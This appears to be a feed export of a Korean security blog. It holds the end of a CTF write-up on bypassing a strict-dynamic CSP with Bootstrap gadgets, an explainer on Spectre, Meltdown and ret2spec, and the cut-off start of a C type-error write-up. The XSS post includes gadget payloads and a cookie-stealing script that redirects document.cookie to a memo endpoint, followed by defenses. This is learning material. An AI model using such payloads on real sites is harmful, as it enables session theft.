&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1239&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bewu6R/dJMcafAwVKj/daALbgAhzSR7Vnt1V6OlWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bewu6R/dJMcafAwVKj/daALbgAhzSR7Vnt1V6OlWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bewu6R/dJMcafAwVKj/daALbgAhzSR7Vnt1V6OlWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbewu6R%2FdJMcafAwVKj%2FdaALbgAhzSR7Vnt1V6OlWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1239&quot; height=&quot;658&quot; data-origin-width=&quot;1239&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt; 콘솔 에러&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Executing inline event handler violates ... script-src ... 'strict-dynamic'.
Note that hashes do not apply to event handlers ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; onerror는 &lt;b&gt;인라인 이벤트 핸들러&lt;/b&gt;다. strict-dynamic은 script 요소의 실행만 허용하며, 인라인 이벤트 핸들러는 unsafe-inline이 있어야 실행된다. img-src 위반(src=x)까지 겹쳐 이미지 로드 자체도 차단됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 CSP 아래에서 onerror/onclick 류의 인라인 핸들러는 처음부터 불가능했다. gadget으로 &amp;lt;script&amp;gt;를 실행시키는 방향만 유효하다. 이 사실을 초반에 확정했어야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;시도 2 &amp;mdash; Collapse gadget (data-parent)의 자동 트리거 착오&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;791&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nJSFo/dJMcaalB82e/vSfKcTvFZ2ew0bB2WAgF70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nJSFo/dJMcaalB82e/vSfKcTvFZ2ew0bB2WAgF70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nJSFo/dJMcaalB82e/vSfKcTvFZ2ew0bB2WAgF70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnJSFo%2FdJMcaalB82e%2FvSfKcTvFZ2ew0bB2WAgF70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1240&quot; height=&quot;791&quot; data-origin-width=&quot;1240&quot; data-origin-height=&quot;791&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt; DOM에는 삽입되지만 alert 안 뜸.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 2가지:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Collapse의 getParent()는 &lt;b&gt;클릭 후 show()가 호출될 때&lt;/b&gt; 실행됨. Bootstrap 3.3.2의 collapse data-api는 click.bs.collapse.data-api 기반이라 &lt;b&gt;봇이 클릭하지 않으면 트리거되지 않는다.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;설령 트리거돼도 페이로드가 &amp;lt;img onerror&amp;gt;라 시도 1과 동일하게 CSP에 막힘.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;교훈:&lt;/b&gt; gadget이 존재하는 것과 자동으로 트리거되는 것은 다르다. 봇은 페이지 로드만 하므로 &lt;b&gt;window.load에 걸리는 gadget&lt;/b&gt;이어야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;시도 3 &amp;mdash; Affix gadget + &amp;lt;script&amp;gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img onerror&amp;gt;가 불가능함을 확정한 뒤, gadget 페이로드를 &amp;lt;script&amp;gt;로 교체:&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;document.getElementById('name').innerHTML =
  '&amp;lt;div data-spy=&quot;affix&quot; data-target=&quot;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;';
$('[data-spy=&quot;affix&quot;]').each(function(){
  var d=$(this).data(); d.offset=d.offset||{}; $(this).affix(d);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CSP 인라인 핸들러 에러는 &lt;b&gt;사라짐&lt;/b&gt; (&amp;lt;img onerror&amp;gt; 제거 효과)&lt;/li&gt;
&lt;li&gt;하지만 alert(1)도 &lt;b&gt;안 뜸&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;콘솔에서 affix 요소는 정상 생성됨 (n {0: div.affix, length: 1, ...})&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미해결 지점:&lt;/b&gt; $(this).affix(d) 호출 시 data-target 값이 실제로 $()에 전달되어 &amp;lt;script&amp;gt;가 실행되는지가 불명확. 두 가지 가능성:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;jQuery .data('target') 파싱 결과가 예상과 다름&lt;/li&gt;
&lt;li&gt;&lt;b&gt;jQuery $()가 top-level &amp;lt;script&amp;gt;를 파싱 시 제거/미실행&lt;/b&gt;할 가능성&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; VM 시간 종료로 검증 중단.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 남은 검증 과제&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;① jQuery $()로 top-level &amp;lt;script&amp;gt;가 실행되는가&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;$('&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;');
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;뜨면 &amp;rarr; gadget 접근은 유효, &lt;b&gt;타이밍(hash 삽입 &amp;rarr; affix load 순서)&lt;/b&gt; 문제&lt;/li&gt;
&lt;li&gt;안 뜨면 &amp;rarr; jQuery가 top-level script를 특수 처리하는 것. &amp;lt;img&amp;gt; 등에 중첩하거나 다른 태그 조합 필요 (참고: jQuery의 $(html)은 &amp;lt;script&amp;gt;를 fragment에서 분리해 별도 실행하는데, 버전/경로에 따라 실행 여부가 갈린다)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;② data-target이 .data()로 제대로 파싱되는가&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;var el = document.querySelector('[data-spy=&quot;affix&quot;]');
console.log($(el).data());   // .target 값 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;유력한 최종 페이로드 방향&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Affix가 자동 트리거되고 $()가 script를 실행한다는 전제가 맞다면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;param 칸&lt;/b&gt;: x&lt;/li&gt;
&lt;li&gt;&lt;b&gt;name 칸(hash)&lt;/b&gt;:
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;&amp;lt;div data-spy=&quot;affix&quot; data-target=&quot;&amp;lt;script&amp;gt;location.href='http://127.0.0.1:8000/memo?memo='+document.cookie&amp;lt;/script&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 top-level &amp;lt;script&amp;gt;가 실행되지 않으면, jQuery 파싱 경로에서 실행되는 형태(예: &amp;lt;img&amp;gt; 태그의 파싱을 이용하되 인라인 핸들러가 아닌 방식)로 재설계해야 한다.&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 배운 점 정리&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;strict-dynamic 아래에서 인라인 이벤트 핸들러(onerror 등)는 불가능.&lt;/b&gt; gadget으로 &amp;lt;script&amp;gt;를 실행시키는 방향만 유효하다. &amp;mdash; 이걸 초반에 확정했어야 했다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;gadget은 자동 트리거 여부가 핵심.&lt;/b&gt; 봇은 로드만 하므로 window.load에 걸리는 gadget(Affix 등)이어야 한다. 클릭 기반(Collapse)은 부적합.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서버 코드를 먼저 읽어라.&lt;/b&gt; hash 인코딩 동작, 봇의 URL 조합 방식, /memo 저장소의 존재 등 결정적 정보가 코드에 다 있었다. 추측으로 페이로드를 던지기 전에 코드를 봤다면 시행착오를 크게 줄였을 것이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;페이로드는 '실행'과 'exfiltration'을 분리해 검증하라.&lt;/b&gt; 한 번에 합치면 실패 지점을 특정할 수 없다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 방어법&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;DOM XSS sink 제거:&lt;/b&gt; innerHTML 대신 textContent 사용. 굳이 HTML이 필요하면 DOMPurify 등으로 sanitize.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CSP 강화:&lt;/b&gt; strict-dynamic을 쓰더라도, 페이지에 gadget이 될 수 있는 오래된 라이브러리(jQuery 1.x, Bootstrap 3.x)를 제거하거나 최신 버전으로 교체. gadget 없는 CSP가 진짜 방어다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서버사이드 렌더링 이스케이프:&lt;/b&gt; {{ param | safe }} 같은 무조건적 safe 필터를 제거하고 기본 이스케이프를 유지.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;입력 검증:&lt;/b&gt; location.hash 등 source 값을 sink에 넣기 전 화이트리스트 기반 검증.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>CTF</category>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/24</guid>
      <comments>https://gahyun0123.tistory.com/24#entry24comment</comments>
      <pubDate>Fri, 10 Jul 2026 20:32:33 +0900</pubDate>
    </item>
    <item>
      <title>분기 예측 관련 공격</title>
      <link>https://gahyun0123.tistory.com/23</link>
      <description>&lt;h1&gt;분기 예측을 노리는 공격들 &amp;mdash; Spectre부터 ret2spec까지&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조(파이프라인&amp;middot;투기 실행)와 시스템 해킹(메모리 누출)이 만나는 지점, 마이크로아키텍처 취약점 정리. 분기 예측&amp;middot;투기 실행을 악용하는 대표 공격들을 다룬다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;배경 &amp;mdash; 왜 분기 예측이 공격 대상이 되는가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU는 파이프라인을 놀게하지 않으려고, 분기(if, 함수 호출, ret) 결과가 확정되기 전에 ㅇ마 이쪽으로 갈 것이라 예측하고 그 방향 명령어를 미리 실행한다. 이것이 &lt;b&gt;투기 실행(speculative execution)&lt;/b&gt; 이다. 예측이 틀리면 그 결과를 되돌린다(rollback).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 &lt;b&gt;되돌림이 불완전하다&lt;/b&gt;는 데 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;되돌려지는 것: 레지스터&amp;middot;연산 결과 등 &lt;b&gt;구조적 상태(architectural state)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;되돌려지지 &lt;b&gt;않는&lt;/b&gt; 것: 투기 실행 중 &lt;b&gt;캐시에 올라간 데이터&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 지우다 만 흔적이 핵심이다. 투기 실행이 비밀 값에 접근해 그 값에 따라 특정 메모리를 캐시에 올렸다면, 예측이 틀려 되돌려져도 캐시 흔적은 남는다. 공격자는 그 흔적을 &lt;b&gt;캐시 접근 시간 측정(side channel)&lt;/b&gt; 으로 읽어내 비밀을 복원한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;투기 실행으로 비밀에 접근 &amp;rarr; 캐시에 흔적을 남김 &amp;rarr; 되돌림 후에도 남은 흔적을 시간으로 추론.&lt;/b&gt;&amp;nbsp;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;분기 예측기는 한 종류가 아니다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU 안에는 예측 대상별로 여러 장치가 있다. 공격 분류의 기준이 된다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;조건 분기 예측기&lt;/td&gt;
&lt;td&gt;if가 참인지 거짓인지&lt;/td&gt;
&lt;td&gt;Spectre v1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;간접 분기 예측기 (BTB)&lt;/td&gt;
&lt;td&gt;함수 포인터&amp;middot;가상 함수의 점프 목적지&lt;/td&gt;
&lt;td&gt;Spectre v2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;반환 스택 버퍼 (RSB)&lt;/td&gt;
&lt;td&gt;ret의 리턴 주소&lt;/td&gt;
&lt;td&gt;ret2spec&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Spectre v1 &amp;mdash; Bounds Check Bypass (CVE-2017-5753)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;노리는 것: 조건 분기 예측기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 기본적인 형태. 경계 검사 분기를 악용한다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;if (x &amp;lt; array1_size)              // &amp;larr; 이 분기를 길들인다
    y = array2[array1[x] * 256];  // 투기 실행되는 가젯
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격 흐름&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;길들이기&lt;/b&gt; &amp;mdash; x에 정상 값을 여러 번 넣어, 예측기가 &quot;이 if는 항상 참&quot;이라고 학습하게 만든다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경계 밖 호출&lt;/b&gt; &amp;mdash; x에 배열 범위를 벗어난 값을 넣는다. 정상이라면 if에서 걸러져야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;투기 실행&lt;/b&gt; &amp;mdash; 예측기가 &quot;참&quot;이라 학습돼 있어, 검사가 확정되기 전에 if 안쪽을 투기 실행한다. 여기서 경계 밖 비밀 값 array1[x]를 읽는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;흔적 남기기&lt;/b&gt; &amp;mdash; 그 비밀 값을 인덱스로 array2에 접근 &amp;rarr; array2[secret * 256]가 캐시에 올라간다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;누출&lt;/b&gt; &amp;mdash; 예측이 틀렸음이 밝혀져 되돌려지지만, 캐시 흔적은 남는다. 공격자가 array2의 각 원소 접근 시간을 재서 캐시에 올라간 원소를 찾고, 거꾸로 secret을 복원한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름은 &quot;경계 검사 우회&quot;지만 사용자 입력에만 국한되지 않는다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Spectre v2 &amp;mdash; Branch Target Injection / BTI (CVE-2017-5715)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;노리는 것: 간접 분기 예측기 (BTB)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v1보다 강력하다. 간접 분기(목적지가 변수인 점프 &amp;mdash; 함수 포인터, 가상 함수 호출)의 목적지 예측을 조작한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 더 위험한가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v1은 &quot;경계 밖을 읽게&quot; 하는 정도지만, v2는 공격자가 &lt;b&gt;투기 실행의 점프 목적지를 원하는 곳으로 유도&lt;/b&gt;할 수 있다. 공격자는 BTB(Branch Target Buffer)를 오염시켜, 피해자의 간접 분기가 공격자가 고른 &lt;b&gt;가젯 코드&lt;/b&gt;로 투기적으로 튀게 만든다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격 흐름&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자가 자신의 주소 공간에서 간접 분기를 반복해, 피해자 주소 공간의 특정 주소(가젯 위치)로 BTB를 오염시킨다.&lt;/li&gt;
&lt;li&gt;피해자가 간접 분기를 실행할 때, 오염된 예측으로 그 가젯이 투기 실행된다.&lt;/li&gt;
&lt;li&gt;가젯이 비밀을 읽어 캐시에 흔적을 남긴다. &amp;rarr; 이후는 v1과 동일(사이드 채널로 복원).&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROP가 기존 코드 가젯을 재활용하듯ㅇ, Spectre v2는 기존 코드 가젯을 투기적으로 실행시킨다는 점에서 발상이 닮았다. 차이는 실제 실행이 아니라 되돌려질 투기 실행이라는 것.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Meltdown &amp;mdash; 대비용 사촌 (CVE-2017-5754)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;노리는 것: 분기 예측이 아님 (비순차 실행 + 예외 타이밍)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Spectre와 자주 함께 언급되지만 메커니즘이 다르다. 분기 예측을 쓰지 않는다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;차이의 핵심&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Spectre: 분기 예측을 길들여 &lt;b&gt;프로그램 자신의 코드&lt;/b&gt;가 잘못된 걸 투기 실행하게 함. 예외 없음.&lt;/li&gt;
&lt;li&gt;Meltdown: 커널 메모리를 &lt;b&gt;직접 읽으려&lt;/b&gt; 시도한다. 권한 위반이라 예외가 발생하지만, CPU가 예외를 처리하기 전의 짧은 비순차 실행 창에서 이미 그 값을 읽어 캐시에 흔적을 남긴다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Meltdown은 유저 프로세스가 커널 메모리를 읽는 격리 붕괴라 충격이 컸고, KPTI(커널/유저 페이지 테이블 분리)로 대응됐다. 분기 예측 공격은 아니지만, &quot;투기/비순차 실행의 되돌림이 캐시엔 안 남는다&quot;는 같은 토대 위에 있어 대비용으로 넣는다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. ret2spec / Spectre-RSB &amp;mdash; ret을 노리는 변종&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;노리는 것: 반환 스택 버퍼 (RSB)&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;배경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU는 ret의 목적지(리턴 주소)도 예측한다. call이 일어날 때마다 리턴 주소를 &lt;b&gt;RSB(Return Stack Buffer)&lt;/b&gt; 라는 작은 하드웨어 스택에 밀어넣고, ret 때 거기서 꺼내 목적지를 예측한다. (실제 메모리 스택과 별개인 예측 전용 버퍼)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격 발상&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 이 RSB를 오염시켜, ret이 &lt;b&gt;공격자가 고른 주소로 투기적으로 점프&lt;/b&gt;하게 만든다. 그 주소의 가젯이 투기 실행되어 비밀을 캐시에 남긴다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;BOF의 ret 조작과 무엇이 다른가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고전 BOF / ROP ret2spec&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;조작 대상&lt;/td&gt;
&lt;td&gt;메모리 스택의 실제 리턴 주소&lt;/td&gt;
&lt;td&gt;RSB(예측 전용 버퍼)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 성격&lt;/td&gt;
&lt;td&gt;실제 실행 (아키텍처 상태 변경)&lt;/td&gt;
&lt;td&gt;투기 실행 (되돌려짐)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;결과&lt;/td&gt;
&lt;td&gt;실행 흐름 탈취&lt;/td&gt;
&lt;td&gt;캐시 사이드 채널로 정보 누출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발상은 같다 &amp;mdash; &quot;ret의 목적지를 조작한다.&quot; 하지만 하나는 실제 스택을, 하나는 예측기를 건드린다. 컴퓨터 구조에서 배운 ret&amp;middot;리턴 주소가 마이크로아키텍처 예측 층에서 다시 등장하는 셈이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정리 &amp;mdash; 계보 한눈에&lt;/h2&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;투기 실행 = 성능 최적화 (버그 아님)
   │  되돌림이 캐시엔 안 남는다는 틈
   ▼
┌──────────────────────────────────────────────┐
│ Spectre v1  &amp;rarr; 조건 분기 예측기 (경계 검사 우회) │
│ Spectre v2  &amp;rarr; 간접 분기 예측기 (BTB, 목적지 조작)│
│ ret2spec    &amp;rarr; 반환 스택 버퍼 (ret 목적지 조작)  │
└──────────────────────────────────────────────┘
   Meltdown &amp;rarr; 분기 예측 아님 (비순차 실행 + 예외 타이밍)

공통 마무리: 캐시에 남은 흔적을 접근 시간 측정으로 복원 (side channel)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;왜 끝나지 않는가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 완화책으로 모든 변종을 막을 수 없고, 대응은 프로세서마다 다르다. 그래서 2018년 이후로도 Retbleed, Inception(SRSO), BHI/Spectre-BHB, Indirector, iLeakage 등 변종과 패치가 계속 반복되고 있다. 투기 실행이라는 성능 최적화를 포기하지 않는 한 근본 해결이 어려운, 전형적인 &lt;b&gt;성능&amp;harr;보안 트레이드오프&lt;/b&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/23</guid>
      <comments>https://gahyun0123.tistory.com/23#entry23comment</comments>
      <pubDate>Wed, 1 Jul 2026 20:43:36 +0900</pubDate>
    </item>
    <item>
      <title>SINT</title>
      <link>https://gahyun0123.tistory.com/22</link>
      <description>&lt;h1&gt;Dreamhack Sint Write-up&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;0. 배경 &amp;mdash; C의 Type Error란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 이해하려면 먼저 C 언어의 &lt;b&gt;자료형(type)&lt;/b&gt; 성질을 알아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자료형은 변수의 &lt;b&gt;크기&lt;/b&gt;를 정하고 &lt;b&gt;용도&lt;/b&gt;를 암시한다. int는 4바이트 정수, char는 1바이트 정수/문자처럼, 한 번 선언된 자료형의 크기는 프로그램이 실행되는 동안 바뀌지 않는다. 그렇기 때문에 그 크기나 표현 범위를 벗어나는 값을 다루면 &lt;b&gt;데이터가 유실되거나 의미가 왜곡&lt;/b&gt;된다. 이런 부적절한 자료형 사용에서 발생하는 버그를 통틀어 &lt;b&gt;Type Error&lt;/b&gt;라고 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자료형을 선언할 때는 변수에 담길 값의 &lt;b&gt;크기&amp;middot;용도&amp;middot;부호(signed/unsigned) 여부&lt;/b&gt;를 모두 고려해야 한다. Type Error는 이런 고려 없이 부적절한 자료형을 사용했을 때 발생한다. 또 한 가지 주의할 점은, &lt;b&gt;같은 자료형이라도 운영체제(비트 수)에 따라 크기가 달라질 수 있다&lt;/b&gt;는 것이다. 예를 들어 long은 32비트에서 4바이트, 64비트에서 8바이트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래에서 대표적인 Type Error 유형 네 가지를 예제로 살펴보고, 마지막에 이번 문제(sint)가 그중 어떤 패턴인지 연결한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(1) Out of Range &amp;mdash; 표현 범위 초과로 인한 데이터 유실&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변수가 담을 수 있는 범위를 넘는 값을 저장하면, 넘치는 상위 비트가 그냥 버려진다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;// out_of_range.c
unsigned long long factorial(unsigned int n) {   // 8바이트 반환
    unsigned long long res = 1;
    for (int i = 1; i &amp;lt;= n; i++) res *= i;
    return res;
}

int main() {
    unsigned int n;
    unsigned int res;                            // &amp;larr; 4바이트! (반환형보다 작음)
    scanf(&quot;%d&quot;, &amp;amp;n);
    if (n &amp;gt;= 50) { ... return -1; }
    res = factorial(n);
    printf(&quot;Factorial of N: %u\n&quot;, res);
}
